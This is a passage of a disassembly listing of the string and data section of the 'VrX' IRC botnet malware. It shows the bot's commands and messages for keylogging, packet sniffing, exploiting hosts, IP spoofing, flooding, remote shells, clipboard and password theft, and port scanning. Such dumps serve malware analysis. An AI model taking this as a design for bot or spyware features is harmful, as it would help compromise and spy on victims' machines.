DATA XREF: sub_401ACD+480Eo aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+47F7o align 4 aM: ; DATA XREF: sub_401ACD+47E0o ; ___:004387C8o ... unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+47B2o align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+479Bo align 4 aA: ; DATA XREF: sub_401ACD+4784o unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+476Do align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+473Fo aAa db 'aa',0 ; DATA XREF: sub_401ACD+4728o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4711o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+46FAo align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+46E3o aGh db 'gh',0 ; DATA XREF: sub_401ACD+46BAo align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+46A3o unk_42B254 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406163o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42B270 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406159o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 4 aSend db 'send',0 ; DATA XREF: sub_401ACD+465Bo ; sub_409909+5F0o align 4 unk_42B29C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40611Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42B2BC db 2Dh ; - ; DATA XREF: sub_401ACD+4646o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_42B2DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406091o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 unk_42B2FC db 2Dh ; - ; DATA XREF: sub_401ACD+45BAo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 10h aShare db 'share',0 ; DATA XREF: sub_401ACD+4567o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+4527o align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+450Fo align 4 unk_42B33C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405FB9o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42B35C db 2Dh ; - ; DATA XREF: sub_401ACD+44E2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 10h aStart db 'start',0 ; DATA XREF: sub_401ACD+44ABo align 4 unk_42B388 db 2Dh ; - ; DATA XREF: sub_401ACD+4478o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4454o aStop db 'stop',0 ; DATA XREF: sub_401ACD+4426o ; sub_401ACD+443Do ... align 4 aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+440Fo align 4 aKeyloger db 'keyloger',0 ; DATA XREF: sub_401ACD+43F8o align 10h dword_42B3E0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405EB8o aNoThreadFound_ db '- No thread found.',0 align 10h dword_42B400 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43E1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 4 dword_42B438 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43B3o aFailedToSta_13 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B46C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4366o aServerRunnin_0 db '- Server running on Port: 113.',0 align 4 dword_42B498 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4356o aAlreadyRunning db '- Already running.',0 align 4 aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4325o align 10h unk_42B4C0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DE5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoVrxSnifferTh db '- No VrX sniffer thread found.',0 unk_42B4EC db 2Dh ; - ; DATA XREF: sub_401ACD+430Eo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxSnifferStop db '- VrX sniffer stopped. (%d thread(s) stopped.)',0 unk_42B528 db 2Dh ; - ; DATA XREF: sub_401ACD+42E0o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_14 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B564 db 2Dh ; - ; DATA XREF: sub_401ACD+4271o db 3, 34h, 2 db 53h ; S db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVrxPacketSniff db '- VrX packet sniffer active.',0 align 10h unk_42B590 db 2Dh ; - ; DATA XREF: sub_401ACD+420Ao db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_0 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41D5o dword_42B5B8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C95o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B5E4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+41BEo aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 10h dword_42B620 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4190o aFailedToSta_15 db '- Failed to start sniffer thread, error: <%d>.',0 align 4 dword_42B65C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4121o aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 4 dword_42B68C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40BAo aAlreadyRunni_1 db '- Already running.',0 align 4 aOn db 'on',0 ; DATA XREF: sub_401ACD+409Ao ; sub_401ACD+41EAo ... align 10h aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+4085o align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+406Eo align 4 aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4057o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+4040o align 4 aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4029o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+4012o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FFBo aV: ; DATA XREF: sub_401ACD+3FE4o ; ___:004387BCo ... unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FCDo align 4 aLi db 'li',0 ; DATA XREF: sub_401ACD+3FB6o align 10h aList db 'list',0 ; DATA XREF: sub_401ACD+3F9Fo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F88o align 4 aDel db 'del',0 ; DATA XREF: sub_401ACD+3F5Ao aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F43o ; sub_401ACD+453Fo align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F2Co align 4 aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F15o align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EFEo align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE7o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ED0o align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA2o align 10h aO: ; DATA XREF: sub_401ACD+3E74o ; ___:00438AECo unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E5Do ; sub_401ACD+583Ao ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E46o align 10h aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E2Fo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E18o align 10h aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E01o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DEAo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DD3o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DA5o align 4 aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D77o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D60o align 4 aJ: ; DATA XREF: sub_401ACD+3D32o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D04o ; ___:004387C4o ... unicode 0, <n>,0 unk_42B784 db 2Dh ; - ; DATA XREF: sub_401ACD+3CCFo db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C66o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C3Do align 10h aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3BE2o align 10h aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B0Do dword_42B7E4 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AB7o ; sub_401ACD+3AF2o dd 0 dword_42B7FC dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3A7Co dd 1 dword_42B814 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A41o ; sub_401ACD+3B62o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+39ECo align 10h aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3951o ; sub_401ACD+3991o ... align 10h aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+38F7o align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+3802o aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+37BDo aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+36B5o ; sub_401ACD+3CEDo align 4 dword_42B85C dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+369Ao dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B884 dd 636364h ; DATA XREF: sub_401ACD+361Do dword_42B888 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+34C6o dword_42B894 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+34ABo ; sub_401ACD+3712o ... dword_42B89C dd 69257325h, 0 ; DATA XREF: sub_401ACD+3490o ; sub_40AAAC+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+344Fo align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3434o ; sub_401ACD+3520o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+340Do align 4 aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+33F2o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+33D0o ; sub_401ACD+3D49o align 4 aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+33B5o ; sub_401ACD+34F4o ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+3393o ; sub_401ACD+3D1Bo align 4 aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+3378o align 10h aMode db 'mode',0 ; DATA XREF: sub_401ACD+3329o ; sub_401ACD+47C9o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+330Eo align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+32BFo align 4 dword_42B90C dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32A4o dword_42B920 dd 7463h ; DATA XREF: sub_401ACD+3255o dword_42B924 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+323Ao ; sub_401ACD+385Co ... dword_42B934 dd 5Fh ; DATA XREF: sub_401ACD+320Bo ; sub_401ACD+3275o ... dword_42B938 dd 6D70h ; DATA XREF: sub_401ACD+31EBo ; sub_401ACD+4756o unk_42B93C db 2Dh ; - ; DATA XREF: sub_401ACD+31BBo db 3, 34h, 2 db 56h ; V db 72h, 58h, 20h db 46h ; F db 6Ch, 2 dup(6Fh) db 64h ; d db 2, 3, 2Dh aSClonesLoadedT db ' %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+3164o align 10h aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3143o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+312Co align 10h aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3115o aRin db 'rin',0 ; DATA XREF: sub_401ACD+30FEo aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+30E7o align 4 unk_42B9A4 db 2Dh ; - ; DATA XREF: sub_401ACD+30DAo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 unk_42B9E4 db 2Dh ; - ; DATA XREF: sub_401ACD+3068o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+2FE1o unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+2FC5o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+2FA7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2F83o align 4 unk_42BA88 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4049F7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 10h aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_4049D9o ; sub_401ACD+3F71o unk_42BAC4 db 3 ; DATA XREF: sub_401ACD+2E9Ao a81VrxInvalidLo db '8,1-VrX- Invalid login slot number: %d.',0 align 10h unk_42BAF0 db 3 ; DATA XREF: sub_401ACD+2E8Fo a81VrxNoUserLog db '8,1-VrX- No user logged in at slot: %d.',0 align 4 dword_42BB1C dd 312C3803h, 5872562Dh, 7325202Dh, 0 ; DATA XREF: sub_401ACD+2E3Ao unk_42BB2C db 3 ; DATA XREF: sub_401ACD:loc_4048F8o a81VrxPoweredBy db '8,1-VrX- Powered By VIrUs & zerX! zerX.Virus Rules! (VIrUs@Power-' db 'Hackers.com).',0 dword_42BB7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E08o aFailedToSta_16 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42BBB8 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2D8Eo dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2D88o align 10h aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2D81o align 4 unk_42BBEC db 2Dh ; - ; DATA XREF: sub_401ACD+2D0Ao db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_17 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BC2C db 2Dh ; - ; DATA XREF: sub_401ACD+2C86o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BC58 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C04o aFailedToSta_18 db '- Failed to start server thread, error: <%d>.',0 align 4 dword_42BC94 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2B95o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BCBC dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2AE2o dword_42BCCC dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2ADDo dword_42BCD8 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2ACAo dword_42BCE8 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2AC5o unk_42BCF8 db 3 ; DATA XREF: sub_401ACD+2A52o a81VrxReconne_1 db '8,1-VrX- Reconnecting.',0 aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404512o ; sub_401ACD:loc_409570o ... align 4 unk_42BD28 db 3 ; DATA XREF: sub_401ACD+2A30o a81VrxDisconnec db '8,1-VrX- Disconnecting.',0 align 4 aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044F0o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_4044DAo ; sub_401ACD+78C1o align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+29FBo align 4 unk_42BD78 db 3 ; DATA XREF: sub_401ACD+29D4o a81VrxStatusRea db '8,1-VrX- Status: Ready. Bot Uptime: %s.',0 align 4 unk_42BDA4 db 3 ; DATA XREF: sub_401ACD+2995o a81VrxBotIdS_ db '8,1-VrX- Bot ID: %s.',0 align 4 unk_42BDBC db 2Dh ; - ; DATA XREF: sub_401ACD+2986o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_19 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BDF8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+2917o dd 65726874h, 2E736461h, 0 dword_42BE18 dd 627573h ; DATA XREF: sub_401ACD+28F1o unk_42BE1C db 3 ; DATA XREF: sub_401ACD+289Fo a81VrxAliasList db '8,1-VrX- Alias list.',0 align 4 unk_42BE34 db 2Dh ; - ; DATA XREF: sub_401ACD+2884o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_20 db '- Failed to start listing thread, error: <%d>.',0 dword_42BE6C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2815o dd 2E676Fh unk_42BE84 db 3 ; DATA XREF: sub_401ACD+276Do a81VrxNetworkIn db '8,1-VrX- Network Info.',0 unk_42BE9C db 3 ; DATA XREF: sub_401ACD+273Eo a81VrxSystemInf db '8,1-VrX- System Info.',0 align 4 unk_42BEB4 db 3 ; DATA XREF: sub_401ACD+26E9o a81VrxRemovingB db '8,1-VrX- Removing Bot.',0 unk_42BECC db 2Dh ; - ; DATA XREF: sub_401ACD+26CDo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_21 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_42BF08 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+2658o dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+2638o align 4 unk_42BF2C db 2Dh ; - ; DATA XREF: sub_401ACD+25D9o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_2 db ' Already running.',0 align 4 unk_42BF4C db 3 ; DATA XREF: sub_401ACD+2588o a81VrxUptimeS_ db '8,1-VrX- Uptime: %s.',0 align 4 unk_42BF64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F8Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BF84 db 2Dh ; - ; DATA XREF: sub_401ACD+24B6o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BFAC db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 unk_42BFD8 db 3 ; DATA XREF: sub_401ACD+2484o a81VrxGetClipbo db '8,1-VrX- Get Clipboard.',0 align 4 dword_42BFF4 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+2456o dd 2Dh unk_42C00C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F13o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C038 db 2Dh ; - ; DATA XREF: sub_401ACD+243Fo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42C05C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE8o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C088 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403EE1o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C0B4 db 2Dh ; - ; DATA XREF: sub_401ACD+240Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+23BAo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_22 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42C114 db 2Dh ; - ; DATA XREF: sub_401ACD+234Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42C150 db 2Dh ; - ; DATA XREF: sub_401ACD+2265o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_23 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C18C db 2Dh ; - ; DATA XREF: sub_401ACD+21FAo ; sub_40BD91+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1C8 db 2Dh ; - ; DATA XREF: sub_401ACD+20F3o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C204 db 2Dh ; - ; DATA XREF: sub_401ACD+2084o ; sub_40BD91+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C238 db 2Dh ; - ; DATA XREF: sub_401ACD+1FCFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C258 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403A86o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C290 db 2Dh ; - ; DATA XREF: sub_401ACD+1F6Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42C2CC db 2Dh ; - ; DATA XREF: sub_401ACD+1EFBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1ED0o ; sub_401ACD+5B20o align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1EC9o ; sub_401ACD+5B19o align 4 dword_42C34C dd 234032Dh, 3025A56h ; DATA XREF: sub_401ACD+1D0Fo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C388 db 2Dh ; - ; DATA XREF: sub_401ACD+1CB2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C4 db 2Dh ; - ; DATA XREF: sub_401ACD+1C38o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1BEFo align 10h aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1BDEo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1BC8o aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1BB1o align 4 aAs db 'as',0 ; DATA XREF: sub_401ACD+1B9Co align 10h aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1B87o unk_42C444 db 3 ; DATA XREF: sub_401ACD+1B37o a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401ACD+1B21o ; sub_401ACD+1B71o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B0Co align 10h aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1AF7o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1AE2o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1ACDo align 10h aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1AB8o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1AA3o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1A8Eo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1A79o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1A64o align 10h aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1A4Fo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A3Ao align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A25o align 10h aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A10o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+19FBo unk_42C4EC db 2Dh ; - ; DATA XREF: sub_401ACD+19BDo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+19A2o ; sub_401ACD+3C81o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+198Eo align 10h unk_42C520 db 3 ; DATA XREF: sub_401ACD+196Eo a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1939o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_4033F9o dword_42C550 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+1902o dword_42C564 dd 6F6877h ; DATA XREF: sub_401ACD+18E5o dword_42C568 dd 